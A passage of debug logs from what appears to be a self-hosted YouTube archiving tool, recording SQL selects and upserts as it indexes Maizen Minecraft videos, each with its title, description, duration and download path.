The Movie", "3RR5Sbesx6s", 5542, false, "https://www.youtube.com/watch?v=3RR5Sbesx6s", "/downloads/shows/Maizen/Season 2026/s2026e061300 - THE WORLD's STRICTEST TEST: The Movie.mp4", false, 2, ~U[2026-06-13 03:00:06Z]] 17:34:16.104 [debug] QUERY OK source="sources" db=0.1ms idle=53.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 17:34:16.104 [debug] QUERY OK source="media_profiles" db=0.1ms idle=3.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:34:16.105 [debug] QUERY OK source="media_items" db=0.1ms idle=3.3ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [183790] 17:34:16.105 [debug] Current batch of media processed. Will check again in 1000ms 17:34:16.935 [info] {"source":"oban","duration":1243,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:34:17.106 [debug] Current batch of media processed. Will check again in 1000ms 17:34:18.107 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Today, Mikey's been sent to prison for a crime he didn't commit! Even worse, he's been sentenced to Infinity Prison, the highest security, most inescapable prison in the world! Now it's up to JJ to help get Mikey out, and clear his name! But not everything is at it seems here...\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "duration" => 5036, "filename" => "/downloads/shows/Maizen/Season 2026/s2026e060600 - THE WORLD's HIGHEST SECURITY PRISON: The Movie.mp4", "id" => "9ZPbk2Unu8A", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=9ZPbk2Unu8A", "playlist_index" => 9, "timestamp" => 1780714806, "title" => "THE WORLD's HIGHEST SECURITY PRISON: The Movie", "upload_date" => "20260606"} 17:34:18.108 [debug] QUERY OK source="sources" db=0.2ms idle=1055.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 17:34:18.108 [debug] QUERY OK source="sources" db=0.2ms idle=824.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 17:34:18.110 [debug] QUERY OK source="media_items" db=1.3ms idle=825.2ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-06-06 03:00:06Z], 2] 17:34:18.111 [debug] QUERY OK source="media_items" db=0.7ms idle=826.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, Mikey's been sent to prison for a crime he didn't commit! Even worse, he's been sentenced to Infinity Prison, the highest security, most inescapable prison in the world! Now it's up to JJ to help get Mikey out, and clear his name! But not everything is at it seems here...\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "THE WORLD's HIGHEST SECURITY PRISON: The Movie", "2e40e43f-8a1e-489c-9ec5-03fa716392e8", "9ZPbk2Unu8A", 5036, false, "https://www.youtube.com/watch?v=9ZPbk2Unu8A", 9, "/downloads/shows/Maizen/Season 2026/s2026e060600 - THE WORLD's HIGHEST SECURITY PRISON: The Movie.mp4", false, false, false, 2, [], 98, ~U[2026-06-06 03:00:06Z], ~U[2026-08-20 00:34:18Z], ~U[2026-08-20 00:34:18Z], "Today, Mikey's been sent to prison for a crime he didn't commit! Even worse, he's been sentenced to Infinity Prison, the highest security, most inescapable prison in the world! Now it's up to JJ to help get Mikey out, and clear his name! But not everything is at it seems here...\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "THE WORLD's HIGHEST SECURITY PRISON: The Movie", "9ZPbk2Unu8A", 5036, false, "https://www.youtube.com/watch?v=9ZPbk2Unu8A", "/downloads/shows/Maizen/Season 2026/s2026e060600 - THE WORLD's HIGHEST SECURITY PRISON: The Movie.mp4", false, 2, ~U[2026-06-06 03:00:06Z]] 17:34:18.111 [debug] QUERY OK source="sources" db=0.1ms idle=57.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 17:34:18.112 [debug] QUERY OK source="media_profiles" db=0.1ms idle=3.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:34:18.112 [debug] QUERY OK source="media_items" db=0.1ms idle=3.6ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [152861] 17:34:18.112 [debug] Current batch of media processed. Will check again in 1000ms 17:34:19.113 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Today, we've arrived in our new village! However, not everything is at it seems here. Every night, someone is killed, yikes! We have to find the culprit and put a stop to them!\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "duration" => 3796, "filename" => "/downloads/shows/Maizen/Season 2026/s2026e060100 - Minecraft, But One Person Dies Every Day....mp4", "id" => "RxEEQdWqH10", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=RxEEQdWqH10", "playlist_index" => 10, "timestamp" => 1780298214, "title" => "Minecraft, But One Person Dies Every Day...", "upload_date" => "20260601"} 17:34:19.114 [debug] QUERY OK source="sources" db=0.2ms idle=1002.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 17:34:19.114 [debug] QUERY OK source="sources" db=0.1ms idle=1002.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 17:34:19.115 [debug] QUERY OK source="media_items" db=1.2ms idle=1002.5ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-06-01 07:16:54Z], 2] 17:34:19.118 [debug] QUERY OK source="media_items" db=1.8ms idle=1003.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, we've arrived in our new village! However, not everything is at it seems here. Every night, someone is killed, yikes! We have to find the culprit and put a stop to them!\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "Minecraft, But One Person Dies Every Day...", "ffba0aee-ae47-4b83-9571-5ff1b6f17cbc", "RxEEQdWqH10", 3796, false, "https://www.youtube.com/watch?v=RxEEQdWqH10", 10, "/downloads/shows/Maizen/Season 2026/s2026e060100 - Minecraft, But One Person Dies Every Day....mp4", false, false, false, 2, [], 98, ~U[2026-06-01 07:16:54Z], ~U[2026-08-20 00:34:19Z], ~U[2026-08-20 00:34:19Z], "Today, we've arrived in our new village! However, not everything is at it seems here. Every night, someone is killed, yikes! We have to find the culprit and put a stop to them!\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "Minecraft, But One Person Dies Every Day...", "RxEEQdWqH10", 3796, false, "https://www.youtube.com/watch?v=RxEEQdWqH10", "/downloads/shows/Maizen/Season 2026/s2026e060100 - Minecraft, But One Person Dies Every Day....mp4", false, 2, ~U[2026-06-01 07:16:54Z]] 17:34:19.118 [debug] QUERY OK source="sources" db=0.1ms idle=63.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 17:34:19.119 [debug] QUERY OK source="media_profiles" db=0.1ms idle=4.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:34:19.119 [debug] QUERY OK source="media_items" db=0.1ms idle=4.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [141213] 17:34:19.119 [debug] Current batch of media processed. Will check again in 1000ms 17:34:20.120 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Today, we're playing PVP Roulette Hide and Seek! We'll take turns rolling the roulette machine, and using the awesome items we get to hide in this huge mansion! Who do you think is gonna win today?\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "duration" => 857, "filename" => "/downloads/shows/Maizen/Season 2026/s2026e052900 - The Roulette of OP ITEM in Hide and Seek!.mp4", "id" => "n5lwtRSwTqY", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=n5lwtRSwTqY", "playlist_index" => 11, "timestamp" => 1780040554, "title" => "The Roulette of OP ITEM in Hide and Seek!", "upload_date" => "20260529"} 17:34:20.121 [debug] QUERY OK source="sources" db=0.2ms idle=1002.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 17:34:20.121 [debug] QUERY OK source="sources" db=0.1ms idle=1002.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 17:34:20.123 [debug] QUERY OK source="media_items" db=1.3ms idle=1002.5ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-29 07:42:34Z], 2] 17:34:20.124 [debug] QUERY OK source="media_items" db=0.6ms idle=1003.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, we're playing PVP Roulette Hide and Seek! We'll take turns rolling the roulette machine, and using the awesome items we get to hide in this huge mansion! Who do you think is gonna win today?\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "The Roulette of OP ITEM in Hide and Seek!", "0ed087a5-0a56-49c8-bb39-c268f52a734c", "n5lwtRSwTqY", 857, false, "https://www.youtube.com/watch?v=n5lwtRSwTqY", 11, "/downloads/shows/Maizen/Season 2026/s2026e052900 - The Roulette of OP ITEM in Hide and Seek!.mp4", false, false, false, 2, [], 98, ~U[2026-05-29 07:42:34Z], ~U[2026-08-20 00:34:20Z], ~U[2026-08-20 00:34:20Z], "Today, we're playing PVP Roulette Hide and Seek! We'll take turns rolling the roulette machine, and using the awesome items we get to hide in this huge mansion! Who do you think is gonna win today?\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "The Roulette of OP ITEM in Hide and Seek!", "n5lwtRSwTqY", 857, false, "https://www.youtube.com/watch?v=n5lwtRSwTqY", "/downloads/shows/Maizen/Season 2026/s2026e052900 - The Roulette of OP ITEM in Hide and Seek!.mp4", false, 2, ~U[2026-05-29 07:42:34Z]] 17:34:20.124 [debug] QUERY OK source="sources" db=0.2ms idle=66.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 17:34:20.124 [debug] QUERY OK source="media_profiles" db=0.2ms idle=3.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:34:20.125 [debug] QUERY OK source="media_items" db=0.2ms idle=3.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [128101] 17:34:20.125 [debug] Current batch of media processed. Will check again in 1000ms 17:34:21.126 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Today, we're having a house on the water building competition! We'll both build houses in the ocean, and then compete to reach the treasure hidden deep on the ocean floor! Who's house was your favorite today?\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "duration" => 2291, "filename" => "/downloads/shows/Maizen/Season 2026/s2026e052600 - NOOB vs PRO: WATER HOUSE BUILD CHALLENGE in Minecraft.mp4", "id" => "m-eW0HpIFp0", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=m-eW0HpIFp0", "playlist_index" => 12, "timestamp" => 1779774844, "title" => "NOOB vs PRO: WATER HOUSE BUILD CHALLENGE in Minecraft", "upload_date" => "20260526"} 17:34:21.127 [debug] QUERY OK source="sources" db=0.3ms idle=1002.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 17:34:21.127 [debug] QUERY OK source="sources" db=0.1ms idle=1002.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 17:34:21.129 [debug] QUERY OK source="media_items" db=1.5ms idle=1002.9ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-26 05:54:04Z], 2] 17:34:21.130 [debug] QUERY OK source="media_items" db=0.7ms idle=1004.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, we're having a house on the water building competition! We'll both build houses in the ocean, and then compete to reach the treasure hidden deep on the ocean floor! Who's house was your favorite today?\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "NOOB vs PRO: WATER HOUSE BUILD CHALLENGE in Minecraft", "1dfd21e3-323f-4e26-8365-a21c7f613370", "m-eW0HpIFp0", 2291, false, "https://www.youtube.com/watch?v=m-eW0HpIFp0", 12, "/downloads/shows/Maizen/Season 2026/s2026e052600 - NOOB vs PRO: WATER HOUSE BUILD CHALLENGE in Minecraft.mp4", false, false, false, 2, [], 98, ~U[2026-05-26 05:54:04Z], ~U[2026-08-20 00:34:21Z], ~U[2026-08-20 00:34:21Z], "Today, we're having a house on the water building competition! We'll both build houses in the ocean, and then compete to reach the treasure hidden deep on the ocean floor! Who's house was your favorite today?\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "NOOB vs PRO: WATER HOUSE BUILD CHALLENGE in Minecraft", "m-eW0HpIFp0", 2291, false, "https://www.youtube.com/watch?v=m-eW0HpIFp0", "/downloads/shows/Maizen/Season 2026/s2026e052600 - NOOB vs PRO: WATER HOUSE BUILD CHALLENGE in Minecraft.mp4", false, 2, ~U[2026-05-26 05:54:04Z]] 17:34:21.130 [debug] QUERY OK source="sources" db=0.2ms idle=71.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 17:34:21.131 [debug] QUERY OK source="media_profiles" db=0.2ms idle=3.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE 